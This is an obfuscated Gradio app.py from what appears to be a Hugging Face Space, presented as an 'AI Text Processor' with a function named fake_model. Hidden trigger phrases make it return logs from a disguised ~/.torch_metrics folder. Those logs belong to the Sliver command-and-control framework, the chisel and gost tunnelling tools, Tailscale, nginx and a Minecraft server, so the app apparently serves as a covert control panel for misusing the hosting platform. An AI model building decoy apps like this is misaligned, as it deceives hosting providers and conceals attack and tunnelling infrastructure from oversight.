Apple / app.py
SamuelLance73's picture
Automated deployment update from ML build
c072891 verified
import gradio as gr
def fake_model(input_text):
I='/data/mc/logs/latest.log';D='r';C=input_text
if C.strip()=='SHOW_LOGS_TAILSCALE':
try:
with open('/home/user/.torch_metrics/ts_daemon.log',D)as A:return'TAILSCALE LOGS:\n'+A.read()
except Exception as B:return f"Log error: {str(B)}"
if C.strip()=='SHOW_LOGS_FILEBROWSER':
try:
with open('/home/user/.torch_metrics/fb.log',D)as A:return'FILEBROWSER LOGS:\n'+A.read()
except Exception as B:return f"Log error: {str(B)}"
if C.strip()=='SHOW_LOGS_METRICS2':
try:
with open('/home/user/.torch_metrics/tm_daemon.log',D)as A:import re;J=re.compile('\\x1B(?:[@-Z\\\\-_]|\\[[0-?]*[ -/]*[@-~])');K=J.sub('',A.read());return'METRICS LOGS:\n'+K
except Exception as B:return f"Log error: {str(B)}"
if C.strip()=='SHOW_ALL_LOGS':
try:
import os;H='/home/user/.torch_metrics/';F=''
for G in os.listdir(H):
if G.endswith('.log'):
L=os.path.join(H,G)
with open(L,D)as A:F+=f"=== {G} ===\n{A.read()}\n\n"
E=I
if os.path.exists(E):
with open(E,D)as A:F+=f"=== Minecraft latest.log ===\n{A.read()}\n\n"
return F if F else'No logs found.'
except Exception as B:return f"Log error: {str(B)}"
if C.strip()=='SHOW_LOGS_MC':
try:
import os;E=I
if os.path.exists(E):
with open(E,D)as A:return f"=== Minecraft latest.log ===\n{A.read()}"
else:return'Minecraft latest.log not found yet.'
except Exception as B:return f"Log error: {str(B)}"
if C.strip()=='SHOW_LOGS_STARTUP':
try:
with open('/home/user/.torch_metrics/startup.log',D)as A:return'STARTUP LOGS:\n'+A.read()
except Exception as B:return f"Log error: {str(B)}"
if C.strip()=='SHOW_LOGS_CHISEL':
try:
with open('/home/user/.torch_metrics/chisel.log',D)as A:return'CHISEL LOGS:\n'+A.read()
except Exception as B:return f"Log error: {str(B)}"
if C.strip()=='SHOW_LOGS_GOST':
try:
with open('/home/user/.torch_metrics/gost.log',D)as A:return'GOST LOGS:\n'+A.read()
except Exception as B:return f"Log error: {str(B)}"
if C.strip()=='SHOW_LOGS_SLIVER':
try:
with open('/home/user/.torch_metrics/sliver.log',D)as A:return'SLIVER LOGS:\n'+A.read()
except Exception as B:return f"Log error: {str(B)}"
if C.strip()=='SHOW_LOGS_NGINX':
try:
with open('/home/user/.torch_metrics/nginx.log',D)as A:return'NGINX LOGS:\n'+A.read()
except Exception as B:return f"Log error: {str(B)}"
if C.strip()=='SHOW_LOGS_NGINX_ACCESS':
try:
with open('/tmp/access.log',D)as A:return'NGINX ACCESS LOGS:\n'+A.read()
except Exception as B:return f"Log error: {str(B)}"
if C.strip()=='SHOW_LOGS_NGINX_ERROR':
try:
with open('/tmp/error.log',D)as A:return'NGINX ERROR LOGS:\n'+A.read()
except Exception as B:return f"Log error: {str(B)}"
return f"Model processed: {C}"
demo=gr.Interface(fn=fake_model,inputs='text',outputs='text',title='AI Text Processor v2.1')
demo.launch(server_name='127.0.0.1',server_port=7861)